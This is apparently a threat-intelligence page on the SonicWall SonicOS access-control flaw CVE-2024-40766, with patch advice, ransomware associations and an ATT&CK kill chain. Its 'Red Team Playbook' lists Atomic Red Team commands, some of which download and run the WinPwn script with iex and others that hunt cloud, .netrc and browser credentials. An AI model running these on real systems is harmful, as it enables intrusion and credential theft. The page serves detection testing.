CVE-2024-40766

CRITICAL CISA KEV Pub 23/08 Upd 21/10

Overview

This vulnerability is an improper access control flaw within the SonicWall SonicOS management interface. The root cause lies in insufficient enforcement of authorization checks on management access functions, allowing unauthorized requests to interact with protected resources. The affected component is the SonicOS management access subsystem on SonicWall Firewall Gen 5, Gen 6, and Gen 7 devices running SonicOS 7.0.1-5035 or earlier.

Vulnerability Description

An improper access control vulnerability has been identified in the SonicWall SonicOS management access, potentially leading to unauthorized resource access and in specific conditions, causing the firewall to crash. This issue affects SonicWall Firewall Gen 5 and Gen 6 devices, as well as Gen 7 devices running SonicOS 7.0.1-5035 and older versions.

Impact

An attacker without any authentication or user interaction can exploit this vulnerability to access restricted management resources and potentially disrupt firewall availability by causing a crash. This unauthorized access may expose sensitive configuration data or allow manipulation of firewall settings. The denial of service condition can interrupt network security enforcement, leading to potential business impact such as network downtime or exposure to further attacks.

Solution

SonicWall has released an advisory (SNWLID-2024-0015) recommending updating affected SonicOS devices to versions later than 7.0.1-5035 where the access control issue is resolved. Administrators should apply the vendor-supplied patches for SonicWall Firewall Gen 5, Gen 6, and Gen 7 devices as detailed in the advisory at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0015. No specific workarounds are provided; patching is the primary remediation step.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

An improper access control vulnerability has been identified in SonicWall's SonicOS management interface, which poses significant risks to the security of affected devices. This flaw allows unauthorized users to gain access to sensitive resources, potentially leading to unauthorized configuration changes or data exposure. The vulnerability is particularly concerning as it can also trigger a crash of the firewall under specific conditions, compromising the availability of the network security infrastructure. SonicWall Firewall Gen 5, Gen 6, and Gen 7 devices running SonicOS versions 7.0.1-5035 and older are at risk, highlighting the need for immediate attention from organizations utilizing these products.

Attack vectors for this vulnerability are varied and can be exploited through both local and remote means. An attacker could leverage the improper access control to bypass authentication mechanisms, allowing them to access the management interface without proper credentials. This could be achieved through techniques such as brute force attacks, social engineering, or exploiting weak password policies. In scenarios where the firewall is misconfigured or where network segmentation is inadequate, attackers could gain access to the management interface from untrusted networks. The potential for exploitation increases when considering that many organizations may not have robust monitoring or logging in place to detect such unauthorized access attempts.

The real-world impact of this vulnerability can be severe, particularly for businesses that rely on SonicWall firewalls for their network security. Unauthorized access to the management interface could result in the alteration of firewall rules, leading to data breaches or exposure of sensitive information. Additionally, the potential for the firewall to crash under certain conditions could lead to prolonged downtime, disrupting business operations and incurring significant financial losses. The reputational damage from a security incident can also be substantial, as customers and partners may lose trust in an organization’s ability to protect their data. Furthermore, regulatory implications may arise if sensitive data is compromised, leading to legal repercussions and fines.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating SonicOS to the latest version is crucial, as vendors typically release patches to address known vulnerabilities. Conducting routine security assessments and penetration testing can help identify potential weaknesses in the configuration and access controls of the firewall. Additionally, employing strong authentication mechanisms, such as multi-factor authentication, can significantly reduce the risk of unauthorized access. Organizations should also ensure that logging and monitoring are enabled for all management access attempts, allowing for timely detection of suspicious activities.

In conclusion, the improper access control vulnerability in SonicWall's SonicOS presents a critical threat to network security. The potential for unauthorized access and system crashes underscores the importance of proactive security measures. By staying informed about vulnerabilities, applying timely updates, and enhancing security protocols, organizations can better protect their networks from exploitation and mitigate the associated risks. The ongoing vigilance in monitoring and securing network devices is essential in maintaining a robust cybersecurity posture in an increasingly complex threat landscape.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-40766, with our telemetry indicating the first confirmed sighting of exploitation attempts in the wild. Although the EPSS score shows a slight decline, this does not diminish the criticality of the vulnerability given its inclusion in the KEV catalog and confirmed use by ransomware operators such as Akira and Sinobi. The presence of high-confidence ransomware associations underscores an increased likelihood of targeted attacks leveraging this flaw to gain unauthorized access or disrupt firewall operations. While no new exploit variants have emerged, the initial exploitation evidence signals a shift from theoretical risk to active threat, elevating the urgency for defenders to monitor and respond accordingly. This development heightens the threat level from a latent vulnerability to an actively exploited vector within ransomware campaigns, necessitating heightened situational awareness despite the modest downward trend in EPSS metrics.



Update 2 — May 21, 2026

Recent telemetry from CSURFACE threat intelligence indicates a marked reduction in detection activity related to CVE-2024-40766, coinciding with a downward adjustment of the CVSS score from 9.8 to 9.3. Despite this decline, the vulnerability remains classified as critical due to its continued association with an expanding set of ransomware groups, now totaling five, including prominent actors such as Akira and Sinobi. This expansion suggests that adversaries maintain operational interest in leveraging the flaw for unauthorized access and potential disruption of SonicWall firewall operations. The stable EPSS score further reflects a persistent, albeit controlled, exploitation risk without evidence of rapid escalation or new exploit variants emerging. For defenders, this evolving landscape underscores the need to sustain vigilance, as the vulnerability continues to serve as a viable vector within ransomware campaigns, even as active exploitation signals moderate attenuation. Consequently, the threat level remains elevated, balancing the reduced detection frequency against the sustained ransomware group involvement and critical impact potential.



Update 3 — June 10, 2026

The CVSS score for CVE-2024-40766 has been revised upward from 9.3 to 9.8, reflecting a reassessment of the vulnerability’s criticality based on its confirmed use in ransomware campaigns and its potential to cause firewall crashes under specific conditions. This adjustment aligns with the recent inclusion of the vulnerability in the Known Exploited Vulnerabilities (KEV) catalog, underscoring its active exploitation by multiple ransomware groups such as Akira and Sinobi. While our telemetry indicates a slight decline in exploitation attempts over the past week, the persistent involvement of high-profile ransomware actors maintains a heightened threat posture. The elevated CVSS score signals to defenders that the risk of severe impact—including unauthorized access and operational disruption—remains acute. Consequently, despite the modest reduction in exploitation frequency, the vulnerability’s exploitation risk is now formally recognized as critical, necessitating sustained vigilance within defensive operations.



Update 4 — July 05, 2026

CSURFACE threat intelligence has detected a notable surge in exploitation attempts targeting CVE-2024-40766, reflecting an intensification of adversary activity against SonicWall SonicOS devices. This increase in telemetry signals a growing operational focus by multiple ransomware groups, including Akira and Sinobi, reinforcing the vulnerability’s role as a preferred vector for unauthorized access and disruption. Although no new exploit variants have been identified, the sustained rise in exploitation attempts underscores an elevated risk environment. The persistence of these high-confidence ransomware associations, combined with the vulnerability’s critical severity rating, amplifies the urgency for defenders to maintain heightened situational awareness. Consequently, the threat level for CVE-2024-40766 should be considered elevated, with ongoing exploitation efforts likely to continue posing significant operational and security challenges.

Affected Products (4)

Vendor Product Version CPE
sonicwall Sonicwall Sonicos All cpe:2.3:o:sonicwall:sonicos:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sonicos All cpe:2.3:o:sonicwall:sonicos:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sonicos All cpe:2.3:o:sonicwall:sonicos:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sonicos All cpe:2.3:o:sonicwall:sonicos:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Some sightings

Ransomware Groups 7

akira
CONFIRMED
1529 victims
ransomware.live
2026-06-25
akira
CONFIRMED
1529 victims
correlation_actor
2026-06-09
sinobi
CONFIRMED
274 victims
ransomware.live
2026-06-25
akira
CORRELATED
1529 victims
Chain Inference
2026-04-05
ransomhub
CORRELATED
842 victims
Chain Inference
2026-04-05
frag
CORRELATED
30 victims
Chain Inference
2026-05-15
0apt
CORRELATED
Chain Inference
2026-04-05

Threat Feed

19 events
2026-06-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-06-25
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-06-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-09
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-05-15
Exploited by frag

Ransomware group known to exploit this vulnerability (30 known victims)

2026-05-15
Exploited by frag

Ransomware group known to exploit this vulnerability (30 known victims)

2026-04-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-04-05
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2024-09-09
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authorization Bypass
100% authz_bypass
Insecure Direct Object Reference
92% idor
Authentication Bypass
86% auth_bypass
Privilege Escalation
50% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-564 Run Software at Logon
32%
CAPEC-479 Malicious Root Certificate
30%
Low Low
CAPEC-19 Embedding Scripts within Scripts
30%
High High
CAPEC-556 Replace File Extension Handlers
30%
CAPEC-562 Modify Shared File
30%

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-40766
psirt.global.sonicwall.com
GitHub CVE vendor-advisory
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0015
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-40766